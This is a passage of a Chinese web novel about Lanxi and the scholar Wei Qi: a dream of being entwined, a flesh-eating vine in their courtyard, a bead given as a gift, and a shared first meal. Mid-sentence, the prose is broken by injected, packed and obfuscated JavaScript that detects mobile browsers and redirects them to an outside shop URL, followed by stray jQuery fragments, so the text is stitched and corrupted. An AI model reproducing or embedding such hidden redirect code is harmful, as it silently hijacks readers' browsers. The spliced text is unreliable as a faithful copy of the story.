他微微偏头,将头温顺地靠在她的脖颈上,微凉的发丝蹭着她脖颈上的皮肤,温热的气息贴着她的耳畔,有些微痒就像兰溪以前养的小猫趴在自己的枕边一样。
随后,兰溪感觉像是有看不见的东西缠绕着自己的身体,如同深海的藤蔓蔓延游走,亲昵地缓缓收拢,兰溪感觉自己好像被固定的动弹不得。
身上的东西明明没有侵略性,但是不容置疑的占有和纠缠让她怎么也摘不干净,只能一点一点的任由对方温柔紧密地包裹着。
在被缠绕贴近的窒息感中,他的声音贴着兰溪的耳廓响起,像是低沉的蛊惑,一遍又一遍的钻入她的意识里。
“兰姑娘……吃了我吧。”
“兰溪……把我……吃掉。”
“吃了我……”
这声音带着自毁一般的兴奋感,似乎献祭也变成一种甜蜜的诱惑,近乎虔诚地一遍遍低语。
兰溪在梦里被缠绕交织,她觉得一阵心悸和燥热,想要逃离却又被牵引着,不由自主地微微启唇……
*
“咚!”
像是有重物落地,一声沉闷的声响响起,兰溪不知是在梦里沉浮了多久,猛地被这声响拽了出来。
她立刻睁开眼,从床上坐了起来,她摸了摸心跳,额角沁出了冷汗,她转头看去,外面已天光大亮,此时已是第二天上午。
她转头看向床下,卫祁似乎已经起了,地上原本铺着的那床被子被叠的整整齐齐摆放在一旁。
她掀开被子下了床,发现屋子里格外干净,原本散落的尘灰都被清理过,陈旧的家居表面像是被擦洗过,焕然一新。
卫祁起的这么早?还收拾了屋子?兰溪有些意外,她穿好衣服,推开房门。
小小的院子被晨光照得透亮,青砖的地面还残留着水渍,院子像是被打理过,地上干净的出奇,几个瓦罐和柴火也码放的整齐。
院子的中央,卫祁侧对着她坐着,似乎在忙碌着,他身上还穿着那身素白的长衫,墨发随意的用一根木簪挽起,几缕发丝滑落,露出他出尘的漂亮眉眼。
兰溪看见他手里似乎抓着什么,正在利落的处理着,脚边放着一个木盆,还装着些清水。“醒了?”
听到兰溪的脚步声,他缓缓抬头微笑。
“嗯。”兰溪应了一声,走过去,好奇的探头:“你在干什么?”
走近一些兰溪才看清,卫祁手里是一只羽毛凌乱已经断了气的禽类,体型不小,羽毛色彩斑驳,喙爪尖利,卫祁正拿着一把刀,手法熟练的剃毛放血。
“这是什么?哪来的?”兰溪有些惊讶。
“死在院子里的,哪掉下来的野鸡。”卫祁淡淡开口,手里的动作却没停:“干脆吃了算了。”
兰溪想起早上就是被一声重物跌落的声音吵醒的,想必就是这东西,这院子比较偏僻,她想着有野物误入也不奇怪。
她正想着,突然被墙角多出的东西吸引了目光,那里似乎凭空多出了一株植物。
一株约莫半人高,形态奇异的藤蔓状的植物,这藤蔓紧贴着墙壁,悄无声息地生长着,他的是茎干是暗沉的紫褐色,茎干粗大有力地扒着墙面。
兰溪觉得有些奇怪,她记得昨天来的时候明明没看过这植物,难道是昨天夜里太黑没注意到吗?
令人感觉微妙的是,这植物顶端的叶须正扒着墙壁,似乎非常拟人似的眼巴巴地望着卫祁手里正在被处理的那只野鸡。
兰溪看了半天,确定这藤蔓就是在看那只野鸡,卫祁手一动,藤蔓也会跟着转换角度。
卫祁似乎被那藤蔓看得有些烦了,他拿起刀从那野鸡身上飞快的削下一块肉,那藤蔓就立刻上前缠绕上去,然后把碎肉无声的消融进去。
“这东西还吃肉的?”兰溪看傻眼了,不可置信的指着那藤蔓。
“是啊,贪嘴的很。”卫祁已经把手里的禽类处理完了,顺手放在旁边干净的地方,开始擦手上的刀。
兰溪只在以前的世界里,听说过猪笼草、捕蝇草这样的植物是食虫的,可是会吃肉的植物,她还是头一回见。
兰溪被勾起了好奇心,这个世界果然不一样,连植物都长得这么神奇,她这么想着凑近了几步,俯下身来仔细看那植物。
看着那藤蔓近乎黑褐色的颜色,在阳光下极缓慢地伸展着,兰溪莫名觉得这东西还是更像触手,她忍不住伸出一根手指,小心翼翼的去触碰。
就在她伸出指尖时,那藤蔓仿佛感知到她的靠近,立刻欢快地伸出一小段末梢,如同撒娇一般轻柔地缠绕上兰溪的手指。
这藤蔓就像一只亲人的宠物,依恋地缠着她,那种冰凉的触感和纠缠的方式,兰溪脑子里突然就想起了昨天晚上的梦境,梦里似乎也有这样一股力量在缠绕着她。
梦里的东西很像这藤蔓,却又不太一样,那种强烈而模糊的感觉涌上来,强大而压迫的力量仿佛要拉着她一起沉沦。
兰溪这么想着下意识地猛地将手抽回,她就像触电了一般,大力的甩开手,立刻向后退去。
这时,一只修长有力的手从旁边探过来,轻轻稳住了兰溪有些踉跄的身形,兰溪站稳后转身才发现是卫祁。
他不知何时已经来到了兰溪的身旁,目光先是冷冷地瞥了一眼被兰溪甩开的有些蜷缩起来的藤蔓,然后落在兰溪身上。
他眉头皱了皱,眼眸里闪过几分黯然,他发问:“怎么了?兰姑娘不喜欢它吗?”
“呃……”兰溪有些尴尬,她知道那只是一株植物,又不知道该怎么解释,只好说:“也不是,就是它突然间缠上我的手指……有些吓人。”
听到兰溪的回答,卫祁沉默了片刻,目光看向那株藤蔓,带着些轻怨,低声轻斥一声:“讨嫌的东西……”
就这么一句低骂,兰溪却莫名地听出了一些闷闷的委屈意味,也不知道是在骂谁。
“若你不喜欢它,我这就把它砍了,它长得这样大,倒也能给你当个配菜吃。”
卫祁这样认真说着,转头就去找工具,墙角的藤蔓仿佛真听得懂人话,一听这话猛地瑟缩起来,老实地缩回墙面蜷缩抱团。
“哎,别!”兰溪现在可听不得“吃”这个字,她马上上前阻拦道:“我哪有说不喜欢到要砍了它的程度?就是被吓到了而已,而且谁知道这东西有没有毒?万一吃了出事了怎么办?”
说完,兰溪看了一眼墙角的藤蔓说:“就让它长在这里吧……反正也不碍事。”
卫祁这才停下手上的动作,抬眸看着兰溪,才顺从地点点头:“好吧,既然你说留它
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202737|197259||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,那便留着。”
他一边说着,一边擦干净手,拿出了一个小物件,放到兰溪面前。
那是一颗浑圆剔透的珠子,是澄澈的明黄色,整颗珠子都散发着细微的光晕,莹润的光泽一看就不像凡品,珠子被钻了一个极细的小孔,用一根极细的深褐色小绳穿着,打成了一个别致的手链。
卫祁将手链递给兰溪,声音平静询问:“这个,兰姑娘喜欢吗?”
兰溪的视线立刻就被那珠子吸引,她小心的接过来,放在手上端详:“好漂亮的珠子?这是从何而来?”
卫祁平淡解释道:“我方才处理那只野鸡,从它的肚子里掏出来的,瞧着倒还别致,想着或许你喜欢,就拿来送给你。”
“野鸡肚子里……还能掏出珠子?”兰溪一愣,觉得这事特别稀奇,她仔细打量其手上的珠子,心里觉得奇怪,但又觉得也不是不可能,或许是她没见过的某种矿石被野鸡误食了。
“还真是不常见的事,不过这珠子倒是好看。”兰溪嘀咕着,欣赏着把玩了两下,便将手链戴在了手腕上,明黄色的珠子衬得她的皮肤格外白皙。
她将手高高抬起,有些期待地问:“好看吗?”
卫祁的目光落在她的手腕上,他眉眼带笑点了点头,语气平淡开口:“你若是喜欢这样的珠子,日后我去找些更多的给你。”
兰溪只当他是随口一说开玩笑,笑着摇摇头:“哪能那么容易找到?这样的珠子能从野鸡肚子里得到一颗,都算是走运了。”
快到中饭时间了,兰溪也有些饿了,于是两人开始张罗午饭,到了厨房,兰溪很快就发现了一件事。
卫祁他似乎很不擅长做饭,虽然看他杀鸡放血的时候格外熟练,可是到了烹饪这个步骤,他就变得笨拙起来。
比如兰溪发现他似乎只会最基本的烹饪方法,就是用水煮,他似乎不知道该放多少水,也不知道什么时候该放盐,只是把肉块扔进锅里觉得差不多了就拿出来。
“等等,血水要处理一下!”
“这水加的太多吧?”
“火太大了!肉要焦了!”
兰溪在一旁看的有些傻眼,忍不住出声指导,最后只好直接上手示范,一步步教卫祁该怎么做。
她觉得卫祁就像几百年没吃过饭一样,连食物熟没熟的标准都不知道,不过转念一想,毕竟他是个书生,恐怕以前没下过厨房。
不过令兰溪感到欣慰的是,卫祁学习能力强大的惊人,他就安静地站在一旁看着,听着兰溪的讲解,他几乎是一看就会了。
等兰溪讲的差不多再让他去做,他明显有了章法,最终,在两个人的共同努力下,做出了一锅香气扑鼻的野鸡汤被摆上了木桌。
饭菜很简单,但对于兰溪来说,已经很温暖美味了,更别提这是他们第一次,在这个小院吃上的第一餐。
吃饭时兰溪看着单调的菜,想起在厨房里的兵荒马乱,忍不住笑道:“看来以后,得常买些菜蔬米面,毕竟野味也不常有。”
卫祁正用筷子不太熟练的夹菜,闻言顿了顿,抬头道:“那你以后每日想吃什么菜就和我说,我去买。”
这句话问得很平常,但在兰溪看来,仿佛默认了以后她以后都会在这里吃饭,而卫祁会去买她爱吃的菜。